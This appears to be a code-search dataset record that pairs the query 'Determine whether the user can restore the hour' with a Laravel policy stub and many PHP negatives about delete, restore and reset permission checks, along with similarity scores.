"protected function canDelete($record)\n\t{\n\t\t$user = JFactory::getUser();\n\n\t\tif (JFactory::getApplication()->isAdmin())\n\t\t{\n\t\t\treturn $user->authorise('core.delete', 'com_solidres.tariff.'.(int) $record->id);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tableRoomType = $this->getTable('RoomType');\n\t\t\t$tableRoomType->load($record->room_type_id);\n\t\t\treturn SRUtilities::isAssetPartner($user->get('id'), $tableRoomType->reservation_asset_id);\n\t\t}\n\t}",
"public function delete()\n {\n $success = false;\n if (isset($this->id)) {\n $sql = \"UPDATE email_credential SET deleted = NOW() WHERE id = {$this->id}\";\n $this->execute_query($sql);\n $vars = get_class_vars(get_class($this));\n foreach ($vars as $key=>$value) {\n if ($key != 'readOnly') {\n unset($this->$key);\n }\n }\n $success = true;\n }\n return $success;\n }",
"public function view(User $user, Hour $hour)\n {\n //Handled by controller\n return $user->isAdmin() || $user->id === $hour->user_id;\n }",
"public function delete(User $user, Document $document)\n {\n if($document->created_at->diffInMinutes(Carbon::now()) > 5 ){\n return false;\n }else if($user->isAdmin()) {\n return true;\n }else {\n return $user->id === $document->user_id;\n }\n\n }",
"public function getCanDeleteProperty()\n {\n return $this->deleteConfirm === $this->staff->email;\n }",
"private function canDelete()\n {\n //Checks roles allowed\n $roles = array(\n 'ROLE_MANAGER',\n 'ROLE_ADMIN',\n );\n\n foreach ($roles as $role) {\n if ($this->security->isGranted($role)) {\n return true;\n }\n }\n\n return false;\n }",
"public function authorize(): bool\n {\n if (Auth::user()->hasPermissionTo('delete thread')) {\n return true;\n }\n\n $thread = $this->run(GetThreadJob::class, [\n 'thread_id' => $this->request->all()['thread_id']\n ]);\n\n if ($thread != null && $thread->user_id === Auth::user()->id && Auth::user()->hasPermissionTo('delete own thread')) {\n return true;\n }\n\n return false;\n }",
"public function isDeleteResource();",
"public function canDelete($item)\n {\n return false;\n }",
"public function canDelete($item)\n {\n return false;\n }",
"public function isDeleted();",
"public function isDeleted();",
"protected function _can_delete($delete_id) {\r\n return true;\r\n }",
"public function authorize()\n {\n $this->reusablePayment = FetchReusablePayment::run([\n 'encoded_id' => $this->encoded_id,\n ]);\n\n return $this->user()->can('delete', $this->reusablePayment);\n }",
"protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Webiators_DeleteOrdersFromAdmin::delete_order');\n }",
"public function beforeDelete() {\n // Console doesn't have Yii::$app->user, so we skip it for console\n if (php_sapi_name() != 'cli') {\n // Don't let delete yourself\n if (Yii::$app->user->id == $this->id) {\n return false;\n }\n\n // Don't let non-superadmin delete superadmin\n if (!Yii::$app->user->isSuperadmin AND $this->superadmin == 1) {\n return false;\n }\n }\n\n return parent::beforeDelete();\n }",
"protected function _can_delete($delete_id) {\n\t\treturn TRUE;\n\t}",
"protected function _can_delete($delete_id) {\n\t\treturn TRUE;\n\t}",
"public function isDeleted() {}",
"public function isDeleted() {}",
"public function delete() {\n\t\tglobal $wpdb;\n\n\t\t$bp = buddypress();\n\n\t\tdo_action_ref_array( 'xprofile_data_before_delete', array( $this ) );\n\n\t\tif ( !$wpdb->query( $wpdb->prepare( \"DELETE FROM {$bp->profile->table_name_data} WHERE field_id = %d AND user_id = %d\", $this->field_id, $this->user_id ) ) )\n\t\t\treturn false;\n\n\t\tdo_action_ref_array( 'xprofile_data_after_delete', array( $this ) );\n\n\t\treturn true;\n\t}",
"abstract public function isDeletableByUser(User $user);",
"public function delete(User $user, Habitacion $habitacion)\n {\n //\n return $user->id === $habitacion->user_id;\n }",
"public function delete(): bool\n {\n\n return false;\n }",
"public function delete(User $user)\n {\n if ($user->can('delete_permission') || $user->can('manage_permissions')) {\n return true;\n }\n\n return false;\n }",
"private function canDelete(User $user, ?Place $place): bool\n {\n return $this->canEdit($user, $place);\n }",
"function userCanDeleteContact( $sessionID, $contactID ) {\r\n\t\treturn $this->getAccessLevel() > 9;\r\n\t}",
"protected function _can_delete($delete_id)\n\t{\n\t\treturn TRUE;\n\t}",
"protected function _can_delete($delete_id)\n\t{\n\t\treturn TRUE;\n\t}",
"public function isDeleteable()\n {\n return $this->_isDeleteable;\n }",
"public function hasDeletedAt() : bool;",
"protected function isDeleting()\n {\n return $this->option('delete') == 'true';\n }",
"public function canDelete(IdentityInterface $user, sketch $sketch)\n {\n return true;\n }",
"private function can_remove() {\n return isset( $_POST[ self::NAME ] ) &&\n $_POST[ self::NAME ] === 'remove' &&\n $this->backupFileExists() &&\n current_user_can( 'manage_options' );\n\n }",
"public function authorizedToDelete(Request $request)\n {\n return false;\n }",
"public function authorize()\n {\n $this->translation = Translation::findByUuidOrFail($this->route('id'));\n\n return $this->user()->can('delete', [Translation::class, $this->translation->node->project]);\n }",
"function delete_user()\n {\n\n //return true if successful\n }",
"public function is_allowed_to_delete_feedback($feedback);",
"protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Webkul_MpAuction::auc_auto_bid_delete');\n }",
"public function delete(User $user, Event $event)\n {\n return $user->hasPermission('delete-event');\n }",
"public function deleteForConference(User $user, Task $task = null, Conference $conference)\n {\n return $user->isAdmin()\n || $user->isChair($conference)\n || $user->isCaptain($conference);;\n }",
"public function isDeletable();",
"public function isDeletable();",
"public function isDeletable();"
]
| [
"0.6598268",
"0.6463188",
"0.6421403",
"0.6394378",
"0.63207173",
"0.6305876",
"0.62952673",
"0.62885714",
"0.6287926",
"0.6255046",
"0.6253038",
"0.61979914",
"0.6140726",
"0.61237246",
"0.61187047",
"0.6035367",
"0.6009626",
"0.5997746",
"0.5984482",
"0.59824955",
"0.59698474",
"0.5950162",
"0.5945832",
"0.5939882",
"0.5936552",
"0.5931771",
"0.59313154",
"0.5912436",
"0.58877575",
"0.5868895",
"0.58620685",
"0.5858048",
"0.58548105",
"0.5840603",
"0.5813496",
"0.58134335",
"0.5796911",
"0.5791886",
"0.57814574",
"0.57671714",
"0.5763972",
"0.5763424",
"0.57565916",
"0.5742454",
"0.5739688",
"0.57019633",
"0.570161",
"0.5682158",
"0.567621",
"0.56653756",
"0.56503403",
"0.5645033",
"0.5645033",
"0.56290513",
"0.5625758",
"0.5608798",
"0.5608196",
"0.5577679",
"0.55634415",
"0.5562495",
"0.5555481",
"0.5554694",
"0.5550762",
"0.5549809",
"0.5547944",
"0.5547944",
"0.55245477",
"0.55245477",
"0.5522588",
"0.5522395",
"0.55096227",
"0.5508578",
"0.5504742",
"0.5504742",
"0.5494822",
"0.5493617",
"0.5489787",
"0.5477003",
"0.54764134",
"0.5471045",
"0.5468301",
"0.5456426",
"0.54522204",
"0.54514825",
"0.54514825",
"0.5440387",
"0.5437517",
"0.543738",
"0.5433884",
"0.5430344",
"0.54226005",
"0.54200506",
"0.54091465",
"0.54089123",
"0.54017645",
"0.5394166",
"0.5390542",
"0.53893304",
"0.53893304",
"0.53893304"
]
| 0.7176525 | 0 |
Determine whether the user can restore the hour. | public function restore(User $user, Hour $hour)
{
// Handled by admin middleware
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"private function can_restore() {\n return isset( $_POST[ self::NAME ] ) &&\n $_POST[ self::NAME ] === 'restore' &&\n $this->backupFileExists() &&\n current_user_can( 'manage_options' );\n\n }",
"public function isPasswordRecoveryEnabled();",
"protected function isRestoring()\n {\n return $this->option('restore') == 'true';\n }",
"public function restore(User $user)\n {\n return config('mailcare.auth') && config('mailcare.automations');\n }",
"public function restore(User $user, User $model): bool\n {\n return $user->isRole('admin') || (\n $user->is($model) &&\n $user->tokenCan('users:restore')\n );\n }",
"public function restore(User $user, Interview $interview)\n {\n return $user->hasPermissionTo('restore interview');\n }",
"function wp_is_recovery_mode()\n {\n }",
"public static function checkHours(): int\n {\n $closeHour = Carbon::createFromTime(17, 0, 0, 'UTC')->getTimestamp();\n $currentHour = Carbon::now('UTC')->getTimestamp();\n $currentDay = Carbon::now('UTC');\n $currentDay = $currentDay->dayOfWeek;\n $websiteSettings = WebsiteSettings::find(1);\n\n if ($currentDay !== 0 && $currentDay !== 6 && $websiteSettings['settings']['is_active'] !== 0) {\n return 0;\n }\n\n if ($currentDay === 6 && $currentHour < $closeHour && $websiteSettings['settings']['is_active'] !== 0) {\n return 0;\n }\n\n return 1;\n }",
"public function hasValidResetKey()\n {\n return (boolean) $this->isActive() && $this->_getVar('user_resetkey_valid');\n }",
"public function restore(User $user): bool\n {\n return $user->can('Restore Role');\n }",
"public function restore($user, $model)\n {\n\n if( $user->hasPermissionTo('restore ' . static::$key) ) {\n return true;\n }\n\n return false;\n }",
"public function isHour() : bool {\n $hoursArr = $this->taskDetails['hours'];\n $retVal = true;\n\n if ($hoursArr['every-hour'] !== true) {\n $retVal = false;\n $current = TasksManager::getHour();\n $ranges = $hoursArr['at-range'];\n\n foreach ($ranges as $range) {\n if ($current >= $range[0] && $current <= $range[1]) {\n $retVal = true;\n break;\n }\n }\n\n if ($retVal === false) {\n $retVal = $this->isHourHelper($hoursArr, $current);\n }\n }\n\n return $retVal;\n }",
"protected function isActivatedViaStartDateAndTime() {}",
"public function isRefreshTimeBasedCookie() {}",
"public function isRefreshTimeBasedCookie() {}",
"public function remember()\r\n {\r\n $iNewTime = PHPFOX_TIME + (strtotime(\"+\" . Phpfox::getParam('waytime.time_remain_complete_waytime')) - time());\r\n return $this->database()->update(Phpfox::getT('waytime_profile'), array('remind_time' => $iNewTime), 'user_id = '.Phpfox::getUserId());\r\n }",
"public function restore(User $user, Show $show): bool\n {\n return $user->isAdmin();\n }",
"public function restore(User $user)\n {\n return $user->idquyenhan == 2;\n }",
"public function restore(User $user, Participant $participant)\n {\n return $user->role === 2;\n }",
"public function is_inspector()\n {\n $session = $this->session->userdata('user');\n if($session)\n {\n if($session['role'] == 'INSPECTOR')\n {\n if(date('H') > 7 AND date('H') < 14)\n {\n $access = FALSE;\n }\n else\n {\n $access = TRUE;\n }\n\n $session['timeAccess'] = $access;\n $this->session->set_userdata($session);\n return TRUE;\n }\n else\n {\n return FALSE;\n }\n }\n else\n {\n return FALSE;\n $this->log_out();\n }\n }",
"public function restore(User $user, Employee $employee)\n {\n return $user->role == 'admin';\n }",
"public function canManageBackup();",
"protected function isActivatedViaEndDateAndTime() {}",
"function hasRecentlyAction() {\n\n\t\t$limit = date('U') + (60 * 60 * $system[\"config\"][\"system\"][\"parameters\"][\"applicationTimeZoneGMT\"][\"value\"]) - (2 * 60 * 60);\n\n\t\tif ($this->isLoged() && $this->getLastAction('U') < $limit)\n\t\t\treturn false;\n\t\telse\n\t\t\treturn true;\n\t}",
"protected function is_remembered()\r\n {\r\n return false;\r\n }",
"protected function onRestored()\n {\n return true;\n }",
"public function restore(User $user, User $model)\n {\n return $user->hasPermissionTo('benutzer-bearbeiten');\n }",
"function can_do_edit() {\n global $USER;\n\n if (has_capability('block/php_report:manageschedules', get_context_instance(CONTEXT_SYSTEM))) {\n //user can manage schedules globally, so allow access\n return true;\n }\n\n $report_shortname = '';\n\n //try to obtain the report shortname from the report schedule id\n //(applies only during first step of wizard interface)\n $id = $this->optional_param('id', 0, PARAM_INT);\n if ($id !== 0) {\n if ($record = get_record('php_report_schedule', 'id', $id)) {\n if ($record->userid != $USER->id) {\n //disallow access to another user's schedule\n return false;\n }\n $config = unserialize($record->config);\n if (isset($config['report'])) {\n $report_shortname = $config['report'];\n }\n } else {\n //wrong id, so disallow\n return false;\n }\n }\n\n //try to obtain the report shortname from the workflow information\n //(applies only after the first step of the wizard interface)\n if ($report_shortname == '' && isset($this->workflow)) {\n $data = $this->workflow->unserialize_data();\n if ($data !== NULL && isset($data['report'])) {\n $report_shortname = $data['report'];\n }\n }\n\n if ($report_shortname === '') {\n //report info not found, so disallow\n return false;\n }\n\n //check permissions via the report\n $report_instance = php_report::get_default_instance($report_shortname, NULL, php_report::EXECUTION_MODE_SCHEDULED);\n return $report_instance !== false;\n }",
"public function restore(User $user, Experience $experience)\n {\n return true;\n }",
"public function can_reset_password() {\n return false;\n }",
"function check_originator($clean_data = false)\n{\n $timenow = date(\"U\");\n if (($timenow - $clean_data[\"appheader\"][\"transmissiondatetime\"]) > 3600) {\n return false;\n }\n \n \n \n $conn = conn();\n $clean_data[\"privatekeypair\"] = false;\n \n if ($clean_data[\"appheader\"][\"key\"] == \"newlatcherinstallation\") {\n return $clean_data;\n }\n \n if ($result = mysqli_query($conn, \"SELECT * FROM session WHERE key='\" . $clean_data[\"appheader\"][\"key\"] . \"' LIMIT 1\")) {\n while ($row = mysqli_fetch_array($result)) {\n $clean_data[\"privatekeypair\"] = $row[\"key\"];\n }\n mysqli_free_result($result);\n }\n \n mysqli_close($conn);\n \n if ($clean_data[\"privatekeypair\"] === false) {\n return false;\n }\n \n return $clean_data;\n}",
"public function afterRestore() : bool\n\t{\n\t\treturn true;\n\t}",
"function custom_rules_is_during_password_reset(){\n\treturn (arg(0) == 'user' && arg(1) == 'reset');\n}",
"public function hasRelivetime(){\n return $this->_has(3);\n }",
"public function restore(User $user, ServerAuthKey $key)\n {\n return true;\n }",
"public function restore(Admin $admin, User $model)\n {\n return $admin->hasAccess(['users.restore']);\n\n }",
"public function restore(User $user, Appoientment $appoientment)\n {\n return $user->type == User::ADMIN_TYPE;\n }",
"public function restore_announcement_permissions_check() {\n return current_user_can( 'manage_options' );\n }",
"public function checkResetCode()\n {\n return $this->resetCode()->isValid();\n }",
"public function restore(User $user, Itms $itms)\n {\n return $user->isAdmin;\n }",
"function guard() {\n\n\t$isValid = true;\n\t$inactive = 60*10; // 10 mins\n\t$fingerprint = md5( $_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] );\n\n\tif( ( isset( $_SESSION['fingerprint'] ) && $_SESSION['fingerprint'] != $fingerprint ) ) {\n\n\t\t$isValid = false;\n\t\tsignout();\n\n\t}else if ( ( isset( $_SESSION['last_active'] ) && ( time() - $_SESSION['last_active'] ) > $inactive ) && $_SESSION['username'] ) {\n\n\t\t$isValid = false;\n\t\tsignout();\n\n\t}else {\n\n\t\t$_SESSION['last_active'] = time();\n\n\t}\n\n\treturn $isValid;\n\n}",
"public function hasExpirationDate()\n {\n return isset($this->user_expiration);\n }",
"public function isRegenerated(): bool;",
"public function allowedForOvertime()\n { return (($this->esgrp == 'ES') || ($this->esgrp == 'EF') || ($this->esgrp == 'F')) ? true : false;\n }",
"public function restore(User $user, Module $module)\n {\n return $user->hasPermission('restore-moui-module');\n }",
"function can_reset_password() {\n return false;\n }",
"public function isViewed() {\r\n\r\n\t\tself::errorReset();\r\n\t\t$this->reload();\r\n\t\treturn InputValidator::isEmpty($this->viewDate) ? false: true;\r\n\t}",
"public function isAuthed() {\n return $this->state == 2;\n }",
"public function restore(User $user, Echelonmap $echelonmap)\n {\n return $user->hasPermission('restore-reference-echelonmap');\n }",
"function room_reservations_admin_settings_default_hours_validate($form_id, &$form_state) {\n $days = array(\n t('Sunday'),\n t('Monday'),\n t('Tuesday'),\n t('Wednesday'),\n t('Thursday'),\n t('Friday'),\n t('Saturday'),\n );\n if ($form_state['clicked_button']['#value'] == t('Save configuration')) {\n for ($day = 0; $day < 7; $day++) {\n $open = TRUE;\n $second_shift = FALSE;\n $first_shift_open\n = $form_state['values']['day_' . $day]['first_shift_open_' . $day];\n $first_shift_close\n = $form_state['values']['day_' . $day]['first_shift_close_' . $day];\n $second_shift_open\n = $form_state['values']['day_' . $day]['second_shift_open_' . $day];\n $second_shift_close\n = $form_state['values']['day_' . $day]['second_shift_close_' . $day];\n $int_first_shift_open\n = intval(\n $form_state['values']['day_' . $day]['first_shift_open_' . $day]);\n $int_first_shift_close\n = intval(\n $form_state['values']['day_' . $day]['first_shift_close_' . $day]);\n $int_second_shift_open\n = intval(\n $form_state['values']['day_' . $day]['second_shift_open_' . $day]);\n $int_second_shift_close\n = intval(\n $form_state['values']['day_' . $day]['second_shift_close_' . $day]);\n // Closed.\n if (($int_first_shift_open == 9999) && \n ($int_first_shift_close == 9999) && \n ($int_second_shift_open == 9999) && \n ($int_second_shift_close == 9999)) {\n $open = FALSE;\n }\n // First shift.\n if ($open) {\n if ($int_first_shift_open == 9999) {\n $field = 'day_' . $day . '][first_shift_open_' . $day;\n $message = t('!day - First shift open is required.', \n array('!day' => $days[$day]));\n form_set_error($field, check_plain($message));\n }\n elseif ($int_first_shift_close == 9999) {\n $field = 'day_' . $day . '][first_shift_close_' . $day;\n $message = t('!day - First shift close is required.', \n array('!day' => $days[$day]));\n form_set_error($field, check_plain($message));\n }\n elseif ($int_first_shift_open >= $int_first_shift_close) {\n $field = 'day_' . $day . '][first_shift_close_' . $day;\n $message = t('!day - First shift close must be later than first shift\n open.', array('!day' => $days[$day]));\n form_set_error($field, check_plain($message));\n }\n }\n // Second shift.\n if ($open) {\n if (($int_second_shift_open != 9999) || \n ($int_second_shift_close != 9999)) {\n $second_shift = TRUE;\n }\n }\n if ($second_shift) {\n if (($int_first_shift_open == 9999) && \n ($int_first_shift_close == 9999)) {\n $field = 'day_' . $day . '][second_shift_open_' . $day;\n $message = t('!day - Cannot have a second shift without a first\n shift.', array('!day' => $days[$day]));\n form_set_error($field, check_plain($message));\n }\n elseif ($int_second_shift_open == 9999) {\n $field = 'day_' . $day . '][second_shift_open_' . $day;\n $message = t('!day - Second shift open is missing.', \n array('!day' => $days[$day]));\n form_set_error($field, check_plain($message));\n }\n elseif ($int_second_shift_close == 9999) {\n $field = 'day_' . $day . '][second_shift_close_' . $day;\n $message = t('!day - Second shift close is missing.', \n array('!day' => $days[$day]));\n form_set_error($field, check_plain($message));\n }\n elseif ($int_second_shift_open <= $int_first_shift_close) {\n $field = 'day_' . $day . '][second_shift_open_' . $day;\n $message = t('!day - Second shift open must be later than first\n shift close.', array('!day' => $days[$day]));\n form_set_error($field, check_plain($message));\n }\n elseif ($int_second_shift_open >= $int_second_shift_close) {\n $field = 'day_' . $day . '][second_shift_close_' . $day;\n $message = t('!day - Second shift close must be later than second\n shift opten.', array('!day' => $days[$day]));\n form_set_error($field, check_plain($message));\n }\n }\n }\n }\n}",
"public function restore(User $user, MeetingRoom $model)\n {\n return false;\n }",
"public function restore(): bool\n {\n return false;\n }",
"protected function isPowerUser()\n {\n return $this->user->can('sys_properties_edit', $this->app->modules[$this->area]);\n }",
"public function restore(User $user, Sale $model)\n {\n return false;\n }",
"public function beforeRestore() : bool\n\t{\n\t\treturn true;\n\t}",
"public function restore(User $user, Operation $operation)\n {\n return Auth::id()->isAdmin();\n }",
"public function restore(User $user, Approval $resource)\n {\n return false;\n }",
"private function isSetTimezone()\n {\n /** @var SettingsRepository $settingsRepository */\n $settingsRepository = \\App::make(SettingsRepository::class);\n $settings = $settingsRepository->getAllSettingInSingleArray($this->getConference()->id);\n if (!isset($settings['timezone'])) {\n session(['settings' => true]);\n } elseif (session()->has('settings')) {\n session()->forget('settings');\n }\n\n return true;\n }",
"protected function _isAllowed() {\r\n return Mage::getSingleton('admin/session')->isAllowed('sales/bookme/reseauchx_reservationreseau/siege');\r\n }",
"public function enteredPenaltyReliefMode()\n {\n $enteredPenaltyReliefModeTimestamp = Timestamp :: build( $this ) -> getStopChargingTimestamp();\n return !! $enteredPenaltyReliefModeTimestamp; \n }",
"public function shouldExecute()\n\t{\n\t\t// date range check\n\t\tif( strtotime($this->start_date) > utc_time() || strtotime($this->end_date) < utc_time() ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// time range check, for the current day-of-week\n\t\t$dow_abbrevs = [null, 'mon', 'tues', 'wed', 'thurs', 'fri', 'sat', 'sun'];\n\t\t$dow_int = utc_date()->format('N');\t// 1 = mon, 7 = sun\n\t\t$dow = $dow_abbrevs[$dow_int];\n\t}",
"public function restore(User $user, File $file)\n {\n return Permission::anyoneCanAccess($file->id)\n || Permission::userCanAccess($user->id, $file->id, \"write\");\n }",
"private function checkExpirated() {\n\n }",
"public function hasPersistentLogin();",
"function checkRefreshDate($refreshdate)\n{\n \n if($refreshdate < (time()-(60*60*24*21)))\n {\n return true;\n }\n else\n {\n return false;\n }\n}",
"function UserIsClear()\n {\n StartSession();\n $isClear = isset($_SESSION[GetExamIdentifier()]);\n \n return $isClear;\n }",
"public function switchTZ()\r\n\t{\r\n\t \ttry\r\n\t \t{\r\n\t\t \tself::_switchTimeZone($this->timezone);\r\n\t\t \treturn true;\r\n\t \t}\r\n\t \tcatch(ilTimeZoneException $exc)\r\n\t \t{\r\n\t\t\t// Shouldn't happen since this has been checked during initialisation\r\n\t\t\t$this->log->write(__METHOD__.': Unsupported timezone given: Timzone: '.$this->timezone);\r\n\t \t\treturn false;\r\n\t \t}\r\n\t}",
"public function restore(User $user, Formation $formation)\n {\n return $user->hasPermission('restore-organization-formation');\n }",
"public function should_load_shim() {\n\n\t\t$should_load = get_option( 'hestia_load_shim' );\n\n\t\tif ( ! empty( $should_load ) ) {\n\t\t\treturn $should_load === 'yes';\n\t\t}\n\n\t\t$is_switch_theme = current_filter() === 'after_switch_theme';\n\t\t$slug = $this->get_theme_slug( $is_switch_theme );\n\t\t$key = str_replace( '-', '_', strtolower( trim( $slug ) ) );\n\t\t$theme_install_time = get_option( $key . '_install' );\n\t\t$current_time = time();\n\t\tif ( empty( $current_time ) || empty( $theme_install_time ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\tif ( ( $current_time - $theme_install_time ) > 60 ) {\n\t\t\tupdate_option( 'hestia_load_shim', 'yes' );\n\t\t\treturn true;\n\t\t}\n\n\t\tupdate_option( 'hestia_load_shim', 'no' );\n\t\treturn false;\n\t}",
"public function view(User $user, Hour $hour)\n {\n //Handled by controller\n return $user->isAdmin() || $user->id === $hour->user_id;\n }",
"public function canResetPassword()\n {\n return $this->isActive() && $this->definition->canResetPassword($this);\n }",
"public function restore(Authorizable $user, Withdraw $withdraw)\n {\n return true;\n }",
"protected function onRestoring()\n {\n return true;\n }",
"private function isEndOfDay()\n {\n // > 10:00pm\n return (int) $this->block->confirmed_at->format('H') >= 22;\n }",
"public function isWin() {\n\t\tif ($_SESSION['game']->getState()==\"correct\") {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}",
"public function hasUnlock(){\n return $this->_has(3);\n }",
"public function isEuRegistered();",
"public function restoreById(int $UserId): bool;",
"function renren_user_logined() {\n global $RR_config;\n return isset($_COOKIE[$RR_config->APIKey.'_session_key']) || !empty($_COOKIE[$RR_config->APIKey.'_session_key']);\n}",
"public function canResetShippingDate()\n {\n $oOrder = oxNew(\"oxorder\");\n $blCan = false;\n if ($oOrder->load($this->getEditObjectId())) {\n $blCan = $oOrder->oxorder__oxstorno->value == \"0\" &&\n !($oOrder->oxorder__oxsenddate->value == \"0000-00-00 00:00:00\" || $oOrder->oxorder__oxsenddate->value == \"-\");\n }\n\n return $blCan;\n }",
"public function isRemoteCheckRequired()\n {\n if ($this->uid && $this->sessionToken && $this->recheck) {\n if($this->recheck > (new DateTime('NOW'))) {\n return false;\n }\n }\n\n return true;\n }",
"public function isPasswordSetRecently(){\r\n global $pdo;\r\n try{\r\n $select = $pdo->prepare(\"SELECT 1 FROM password_log\r\n WHERE user_id = ?\r\n AND password_log.reset > DATE_SUB(NOW(), \r\n INTERVAL \".$this->app_config['force_password_reset_days'].\" DAY)\");\r\n $select->execute(array($this->user_id));\r\n }\r\n catch(PDOException $e){\r\n $this->setError($e->getMessage());\r\n return false;\r\n }\r\n if($select->fetchColumn()>0){\r\n return true;\r\n }\r\n return false;\r\n}",
"function isChallengeOpen($challenge_id) {\n $challenges = challenges();\n $enddate = strtotime($challenges[$challenge_id]['enddate']);\n $type = $challenges[$challenge_id]['type'];\n $open = $challenges[$challenge_id]['open'];\n if(!$open) {\n return false;\n }\n if ($type == 'public' || $type == 'private') {\n return true;\n }\n if ($type == 'protected') {\n if ($enddate > time()) {\n return true;\n } else {\n return false;\n }\n }\n}",
"private function isViewed() {\n $viewKey = $this->getViewKey();\n\n if ( Auth::check() ) {\n $viewed = Cache::get($viewKey.':user:'.Auth::user()->id);\n return !empty($viewed);\n } else {\n $time = session($viewKey);\n if ( !empty($time) ) {\n $viewed = (time() - $time) < config('counter.viewCountDuration') * 60;\n } else {\n $viewed = false;\n }\n return $viewed;\n }\n }",
"protected function checkSchedulerUser() {}",
"function room_reservations_admin_settings_daily_hours_validate($form_id, &$form_state) {\n if ($form_state['clicked_button']['#value'] == t('Save configuration')) {\n $month_value = $form_state['values']['month'];\n $month = intval(drupal_substr($month_value, 5));\n $year = drupal_substr($month_value, 0, 4);\n // Days in the month.\n $days = date('t', mktime(0, 0, 0, $month, 1, $year));\n for ($day = 0; $day < $days; $day++) {\n // Day of the week.\n $dow = date('l', mktime(0, 0, 0, $month, $day + 1, $year));\n // Day of month.\n $dom = $day + 1;\n $open = TRUE;\n $second_shift = FALSE;\n $first_shift_open\n = $form_state['values']['day_' . $day]['first_shift_open_' . $day];\n $first_shift_close\n = $form_state['values']['day_' . $day]['first_shift_close_' . $day];\n $second_shift_open\n = $form_state['values']['day_' . $day]['second_shift_open_' . $day];\n $second_shift_close\n = $form_state['values']['day_' . $day]['second_shift_close_' . $day];\n $int_first_shift_open\n = intval(\n $form_state['values']['day_' . $day]['first_shift_open_' . $day]);\n $int_first_shift_close\n = intval(\n $form_state['values']['day_' . $day]['first_shift_close_' . $day]);\n $int_second_shift_open\n = intval(\n $form_state['values']['day_' . $day]['second_shift_open_' . $day]);\n $int_second_shift_close\n = intval(\n $form_state['values']['day_' . $day]['second_shift_close_' . $day]);\n // Closed.\n if (($int_first_shift_open == 9999) && \n ($int_first_shift_close == 9999) && \n ($int_second_shift_open == 9999) && \n ($int_second_shift_close == 9999)) {\n $open = FALSE;\n }\n // First shift.\n if ($open) {\n if ($int_first_shift_open == 9999) {\n $field = 'day_' . $day . '][first_shift_open_' . $day;\n $message = t('!day - First shift open is required.', \n array('!day' => $dom . ' ' . $dow));\n form_set_error($field, check_plain($message));\n }\n elseif ($int_first_shift_close == 9999) {\n $field = 'day_' . $day . '][first_shift_close_' . $day;\n $message = t('!day - First shift close is required.', \n array('!day' => $dom . ' ' . $dow));\n form_set_error($field, check_plain($message));\n }\n elseif ($int_first_shift_open >= $int_first_shift_close) {\n $field = 'day_' . $day . '][first_shift_close_' . $day;\n $message = t('!day - First shift close must be later than first shift\n open.', array('!day' => $dom . ' ' . $dow));\n form_set_error($field, check_plain($message));\n }\n }\n // Second shift.\n if ($open) {\n if (($int_second_shift_open != 9999) || \n ($int_second_shift_close != 9999)) {\n $second_shift = TRUE;\n }\n }\n if ($second_shift) {\n if (($int_first_shift_open == 9999) && \n ($int_first_shift_close == 9999)) {\n $field = 'day_' . $day . '][second_shift_open_' . $day;\n $message = t('!day - Cannot have a second shift without a first\n shift.', array('!day' => $dom . ' ' . $dow));\n form_set_error($field, check_plain($message));\n }\n elseif ($int_second_shift_open == 9999) {\n $field = 'day_' . $day . '][second_shift_open_' . $day;\n $message = t('!day - Second shift open is missing.', \n array('!day' => $dom . ' ' . $dow));\n form_set_error($field, check_plain($message));\n }\n elseif ($int_second_shift_close == 9999) {\n $field = 'day_' . $day . '][second_shift_close_' . $day;\n $message = t('!day - Second shift close is missing.', \n array('!day' => $dom . ' ' . $dow));\n form_set_error($field, check_plain($message));\n }\n elseif ($int_second_shift_open <= $int_first_shift_close) {\n $field = 'day_' . $day . '][second_shift_open_' . $day;\n $message = t('!day - Second shift open must be later than first\n shift close.', array('!day' => $dom . ' ' . $dow));\n form_set_error($field, check_plain($message));\n }\n elseif ($int_second_shift_open >= $int_second_shift_close) {\n $field = 'day_' . $day . '][second_shift_close_' . $day;\n $message = t('!day - Second shift close must be later than second\n shift opten.', array('!day' => $dom . ' ' . $dow));\n form_set_error($field, check_plain($message));\n }\n }\n }\n }\n}",
"function wp_recovery_mode()\n {\n }",
"public function hasExpiretime(){\n return $this->_has(4);\n }",
"public function isLoggedBack()\n {\n\t\t\n\t\t$cookie = Context::getInstance()->getCookie();\n\t\t$result = (\n\t\t\t$this->id && Validate::isUnsignedId($this->id) && $this->isAdmin() && self::checkPassword($this->id, $cookie->password, true) &&\n\t\t\t\t(!isset($cookie->remoteAddress) || ($cookie->remoteAddress == Tools::getNumericRemoteAddress()) || !Configuration::get('COOKIE_CHECKIP'))\n\t\t);\n\t\treturn $result;\n }",
"protected function is_first_time()\n\t{\n\t\tif ( !get_site_option( 'cur_from' ) && !get_site_option( 'confirm-user-registration' ) ) :\n\t\t\treturn TRUE;\n\t\telse :\n\t\t\treturn FALSE;\n\t\tendif;\n\t}",
"private function setViewed(){\n if ( !$this->isViewed() ){\n $viewKey = $this->getViewKey();\n\n if ( Auth::check() ){ //user had login, record user action\n Cache::put($viewKey.':user:'.Auth::user()->id, time(), Config::get('counter.viewCountDuration'));\n $this->recordUser('view');\n } else { //guest. use session\n session([$viewKey=>time()]);\n }\n\n return true;\n }\n\n return false;\n }",
"public function restore(Provider $provider)\n {\n\t if (Auth::guard('provider-web')->user()->id == $provider->id) return true;\n\t return false;\n }",
"function userCanSetDbPassword(){\r\n\t\treturn $this->getAccessLevel() > 9;\r\n\t}",
"function is_authed() {\n\tif (isset($_SESSION['username'])) {\n\t\treturn true;\n\t}\n\telse {\n\t\treturn false;\n\t}\n}",
